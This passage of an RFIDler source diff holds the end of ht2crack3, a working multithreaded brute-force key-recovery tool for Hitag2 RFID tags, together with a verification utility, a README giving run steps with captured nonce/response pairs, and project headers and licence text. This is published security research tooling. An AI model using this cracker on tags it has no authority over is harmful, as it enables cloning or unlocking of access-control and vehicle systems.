if (ret == 1) {
badguess = 1;
} else if (ret == 0) {
found++;
}
}
if ((found) && (!badguess)) {
// brute
printf("possible partial key found: 0x%012lx\n", ((uint64_t)kmiddle << 16) | klower);
if (testkey(&foundkey, uid, (kmiddle << 16 | klower), TnRaR[0].nR, TnRaR[0].aR) &&
testkey(&foundkey, uid, (kmiddle << 16 | klower), TnRaR[1].nR, TnRaR[1].aR)) {
// normalise foundkey
revkey = rev64(foundkey);
foundkey = ((revkey >> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000);
printf("\n\nSuccess - key = %012lX\n", foundkey);
exit(0);
return (void *)foundkey;
}
}
}
}
return NULL;
}
int main(int argc, char *argv[])
{
FILE *fp;
int i;
pthread_t threads[NUM_THREADS];
void *status;
uint64_t uid;
uint64_t klowerstart;
unsigned int numnrar = 0;
char *buf = NULL;
char *buft1 = NULL;
char *buft2 = NULL;
size_t lenbuf = 64;
struct nRaR *TnRaR = NULL;
struct threaddata *tdata = NULL;
if (argc < 3) {
printf("ht2crack3 uid nRaRfile\n");
exit(1);
}
// read the UID into internal format
if (!strncmp(argv[1], "0x", 2)) {
uid = rev32(hexreversetoulong(argv[1] + 2));
} else {
uid = rev32(hexreversetoulong(argv[1]));
}
// create table of nR aR pairs
TnRaR = (struct nRaR *)malloc(sizeof(struct nRaR) * NUM_NRAR);
// open file
fp = fopen(argv[2], "r");
if (!fp) {
printf("cannot open nRaRfile\n");
exit(1);
}
// set klowerstart (for debugging)
if (argc > 3) {
klowerstart = strtol(argv[3], NULL, 0);
} else {
klowerstart = 0;
}
// read in nR aR pairs
numnrar = 0;
buf = (char *)malloc(lenbuf);
if (!buf) {
printf("cannot malloc buf\n");
exit(1);
}
while (getline(&buf, &lenbuf, fp) > 0) {
buft1 = strchr(buf, ' ');
if (!buft1) {
printf("invalid file input on line %d\n", numnrar + 1);
exit(1);
}
*buft1 = 0x00;
buft1++;
buft2 = strchr(buft1, '\n');
if (!buft2) {
printf("no CR on line %d\n", numnrar + 1);
exit(1);
}
*buft2 = 0x00;
if (!strncmp(buf, "0x", 2)) {
TnRaR[numnrar].nR = rev32(hexreversetoulong(buf+2));
TnRaR[numnrar].aR = rev32(hexreversetoulong(buft1+2));
} else {
TnRaR[numnrar].nR = rev32(hexreversetoulong(buf));
TnRaR[numnrar].aR = rev32(hexreversetoulong(buft1));
}
numnrar++;
}
// close file
fclose(fp);
fp = NULL;
printf("Loaded %d NrAr pairs\n", numnrar);
// create table of thread data
tdata = (struct threaddata *)malloc(sizeof(struct threaddata) * NUM_THREADS);
if (!tdata) {
printf("cannot malloc threaddata\n");
exit(1);
}
for (i=0; i<NUM_THREADS; i++) {
tdata[i].uid = uid;
tdata[i].TnRaR = TnRaR;
tdata[i].numnrar = numnrar;
tdata[i].klowerrange = 0x10000 / NUM_THREADS;
tdata[i].klowerstart = i * tdata[i].klowerrange;
}
if (klowerstart) {
// debug mode only runs one thread from klowerstart
tdata[0].klowerstart = klowerstart;
crack(tdata);
} else {
// run full threaded mode
for (i=0; i<NUM_THREADS; i++) {
if (pthread_create(&(threads[i]), NULL, crack, (void *)(tdata + i))) {
printf("cannot start thread %d\n", i);
exit(1);
}
}
}
// wait for threads to finish
for (i=0; i<NUM_THREADS; i++) {
if (pthread_join(threads[i], &status)) {
printf("cannot join thread %d\n", i);
exit(1);
}
printf("thread %i finished\n", i);
if (status) {
printf("Key = %012lX\n", (uint64_t)status);
exit(0);
}
}
printf("Did not find key :(\n");
pthread_exit(NULL);
return 0;
}

View file

@ -0,0 +1,78 @@
#include <stdio.h>
#include <stdlib.h>
#include "HardwareProfile.h"
#include "rfidler.h"
#include "hitagcrypto.h"
#include "util.h"
int main(int argc, char *argv[])
{
Hitag_State hstate;
FILE *fp;
char *line = NULL;
size_t linelen = 0;
long len = 0;
char *nr = NULL;
char *ar = NULL;
uint32_t arval;
uint32_t ks;
char *key;
char *uid;
if (argc < 4) {
printf("ht2test nRaRfile KEY UID\n");
exit(1);
}
fp = fopen(argv[1], "r");
if (!fp) {
printf("cannot open file\n");
exit(1);
}
if (!strncmp(argv[2], "0x", 2)) {
key = argv[2] + 2;
} else {
key = argv[2];
}
if (!strncmp(argv[3], "0x", 2)) {
uid = argv[3] + 2;
} else {
uid = argv[3];
}
while ((len = getline(&line, &linelen, fp)) > 0) {
if (len > 16) {
ar = strchr(line, ' ');
*ar = 0x00;
ar++;
ar[strlen(ar)-1] = 0x00;
if (!strncmp(line, "0x", 2)) {
nr = line + 2;
} else {
nr = line;
}
hitag2_init(&hstate, rev64(hexreversetoulonglong(key)), rev32(hexreversetoulong(uid)), rev32(hexreversetoulong(nr)));
arval = strtol(ar, NULL, 16);
ks = hitag2_nstep(&hstate, 32);
if ((arval ^ ks) != 0xffffffff) {
printf("FAIL! nR = %s, aR = %s\n", line, ar);
} else {
printf("SUCCESS! nR = %s, aR = %s\n", line, ar);
}
}
}
fclose(fp);
return 0;
}

View file

@ -0,0 +1,35 @@
ht2crack3
Build
-----
make clean
make
Run
---
You'll need a file consisting of 136 (or more) nR aR pairs. These are the
encrypted nonces and challenge response values. They should be in hex with
one pair per line, e.g.:
0x12345678 0x9abcdef0
./ht2crack3 UID NRARFILE
UID is the UID of the tag that you used to gather the nR aR values.
NRARFILE is the file containing the nR aR values.
Tests
-----
If you happen to know the key and want to check that all your nR aR values
are valid (for high-powered demonstrations only, really) then you can use
the ht2test program to check them. It's otherwise massively pointless and a
complete waste of space.
./ht2test NRARFILE KEY UID

View file

@ -0,0 +1,412 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie <adam@aperturelabs.com>
#include <stdio.h>
#include <string.h>
// BCD hardware revision for usb descriptor (usb_descriptors.c)
#define RFIDLER_HW_VERSION 0x020
// max sizes in BITS
#define MAXBLOCKSIZE 512
#define MAXTAGSIZE 4096
#define MAXUID 512
#define TMP_LARGE_BUFF_LEN 2048
#define TMP_SMALL_BUFF_LEN 256
#define ANALOGUE_BUFF_LEN 8192
#define COMMS_BUFFER_SIZE 128
#define DETECT_BUFFER_SIZE 512
#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period
// globals
extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read
extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated
extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data
extern BYTE EMU_ThisBit; // The next data bit to transmit
extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0'
extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1'
extern unsigned int EMU_Repeat; // Number of times to transmit full data set
extern BOOL EMU_Background; // Emulate in the background until told to stop
extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit
extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad
extern BYTE ReaderPeriod; // Flag for sample display
extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer
extern BYTE Interface; // user interface - CLI or API
extern BYTE CommsChannel; // user comms channel - USB or UART
extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read
extern BOOL PWD_Mode; // is this tag password protected?
extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN
extern unsigned int Led_Count; // LED status counter, also used for entropy
extern unsigned long Reader_Bit_Count; // Reader ISR bit counter
extern char Previous; // Reader ISR previous bit type
// RWD (read/write device) coil state
extern BYTE RWD_State; // current state of RWD coil
extern unsigned int RWD_Fc; // field clock in uS
extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks
extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks
extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks
extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks
extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks
extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks
extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks
extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks
extern unsigned int RWD_OC5_config; // Output Compare Module settings
extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value
extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value
extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated
extern BYTE *RWD_Command_ThisBit; // Current command bit
extern BOOL Reader_ISR_State; // current state of reader ISR
// NVM variables
// timings etc. that want to survive a reboot should go here
typedef struct {
BYTE Name[7]; // will be set to "RFIDler" so we can test for new device
BYTE AutoRun[128]; // optional command to run at startup
unsigned char TagType;
unsigned int PSK_Quality;
unsigned int Timeout;
unsigned int Wiegand_Pulse;
unsigned int Wiegand_Gap;
BOOL Wiegand_IdleState;
unsigned int FrameClock;
unsigned char Modulation;
unsigned int DataRate;
unsigned int DataRateSub0;
unsigned int DataRateSub1;
unsigned int DataBits;
unsigned int DataBlocks;
unsigned int BlockSize;
unsigned char SyncBits;
BYTE Sync[4];
BOOL BiPhase;
BOOL Invert;
BOOL Manchester;
BOOL HalfDuplex;
unsigned int Repeat;
unsigned int PotLow;
unsigned int PotHigh;
unsigned int RWD_Gap_Period;
unsigned int RWD_Zero_Period;
unsigned int RWD_One_Period;
unsigned int RWD_Sleep_Period;
unsigned int RWD_Wake_Period;
unsigned int RWD_Wait_Switch_TX_RX;
unsigned int RWD_Wait_Switch_RX_TX;
} StoredConfig;
// somewhere to store TAG data. this will be interpreted according to the TAG
// type.
typedef struct {
BYTE TagType; // raw tag type
BYTE EmulatedTagType; // tag type this tag is configured to emulate
BYTE UID[MAXUID + 1]; // Null-terminated HEX string
BYTE Data[MAXTAGSIZE]; // raw data
unsigned char DataBlocks; // number of blocks in Data field
unsigned int BlockSize; // blocksize in bits
} VirtualTag;
extern StoredConfig RFIDlerConfig;
extern VirtualTag RFIDlerVTag;
extern BYTE TmpBuff[NVM_PAGE_SIZE];
extern BYTE DataBuff[ANALOGUE_BUFF_LEN];
extern unsigned int DataBuffCount;
extern const BYTE *ModulationSchemes[];
extern const BYTE *OnOff[];
extern const BYTE *HighLow[];
extern const BYTE *TagTypes[];
// globals for ISRs
extern BYTE EmulationMode;
extern unsigned long HW_Bits;
extern BYTE HW_Skip_Bits;
extern unsigned int PSK_Min_Pulse;
extern BOOL PSK_Read_Error;
extern BOOL Manchester_Error;
extern BOOL SnifferMode;
extern unsigned int Clock_Tick_Counter;
extern BOOL Clock_Tick_Counter_Reset;
// smart card lib
#define MAX_ATR_LEN (BYTE)33
extern BYTE scCardATR[MAX_ATR_LEN];
extern BYTE scATRLength;
// RTC
extern rtccTime RTC_time; // time structure
extern rtccDate RTC_date; // date structure
// digital pots
#define POTLOW_DEFAULT 100
#define POTHIGH_DEFAULT 150
#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB)
#define VOLTS_TO_POT 0.019607843F
// RWD/clock states
#define RWD_STATE_INACTIVE 0 // RWD not in use
#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request
#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period
#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset
#define RWD_STATE_START_SEND 4 // RWD starting send of data
#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap
#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit
#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period
#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier
// reader ISR states
#define READER_STOPPED 0 // reader not in use
#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading
#define READER_RUNNING 2 // reader reading bits
// user interface types
#define INTERFACE_API 0
#define INTERFACE_CLI 1
// comms channel
#define COMMS_NONE 0
#define COMMS_USB 1
#define COMMS_UART 2
#define MAX_HISTORY 2 // disable most of history for now - memory issue
// tag write retries
#define TAG_WRITE_RETRY 5
// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this
#define MOD_MODE_NONE 0
#define MOD_MODE_ASK_OOK 1
#define MOD_MODE_FSK1 2
#define MOD_MODE_FSK2 3
#define MOD_MODE_PSK1 4
#define MOD_MODE_PSK2 5
#define MOD_MODE_PSK3 6
// TAG types - update TagTypes[] in tags.c if you add to this list
#define TAG_TYPE_NONE 0
#define TAG_TYPE_ASK_RAW 1
#define TAG_TYPE_FSK1_RAW 2
#define TAG_TYPE_FSK2_RAW 3
#define TAG_TYPE_PSK1_RAW 4
#define TAG_TYPE_PSK2_RAW 5
#define TAG_TYPE_PSK3_RAW 6
#define TAG_TYPE_HITAG1 7
#define TAG_TYPE_HITAG2 8
#define TAG_TYPE_EM4X02 9
#define TAG_TYPE_Q5 10
#define TAG_TYPE_HID_26 11
#define TAG_TYPE_INDALA_64 12
#define TAG_TYPE_INDALA_224 13
#define TAG_TYPE_UNIQUE 14
#define TAG_TYPE_FDXB 15
#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat
#define TAG_TYPE_AWID_26 17
#define TAG_TYPE_EM4X05 18
#define TAG_TYPE_TAMAGOTCHI 19
#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram
// various
#define BINARY 0
#define HEX 1
#define NO_ADDRESS -1
#define ACK TRUE
#define NO_ACK FALSE
#define BLOCK TRUE
#define NO_BLOCK FALSE
#define DATA TRUE
#define NO_DATA FALSE
#define DEBUG_PIN_ON HIGH
#define DEBUG_PIN_OFF LOW
#define FAST FALSE
#define SLOW TRUE
#define NO_TRIGGER 0
#define LOCK TRUE
#define NO_LOCK FALSE
#define NFC_MODE TRUE
#define NO_NFC_MODE FALSE
#define ONESHOT_READ TRUE
#define NO_ONESHOT_READ FALSE
#define RESET TRUE
#define NO_RESET FALSE
#define SHUTDOWN_CLOCK TRUE
#define NO_SHUTDOWN_CLOCK FALSE
#define SYNC TRUE
#define NO_SYNC FALSE
#define VERIFY TRUE
#define NO_VERIFY FALSE
#define VOLATILE FALSE
#define NON_VOLATILE TRUE
#define NEWLINE TRUE
#define NO_NEWLINE FALSE
#define WAIT TRUE
#define NO_WAIT FALSE
#define WIPER_HIGH 0
#define WIPER_LOW 1
// conversion for time to ticks
#define US_TO_TICKS 1000000L
#define US_OVER_10_TO_TICKS 10000000L
#define US_OVER_100_TO_TICKS 100000000L
// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it
#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS))
#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS))
#define TIMER5_PRESCALER 16
#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER)
// other conversions
// bits to hex digits
#define HEXDIGITS(x) (x / 4)
#define HEXTOBITS(x) (x * 4)

View file

@ -0,0 +1,147 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie <adam@aperturelabs.com>
/*
* Hitag Crypto support macros
* These macros reverse the bit order in a byte, or *within* each byte of a
* 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.)
*/
#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \
+ (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \
+ (((X) << 5) &64) + (((X) << 7) &128) )
#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8))
#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16))
#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32))
unsigned long hexreversetoulong(BYTE *hex);
unsigned long long hexreversetoulonglong(BYTE *hex);

View file

@ -0,0 +1,183 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
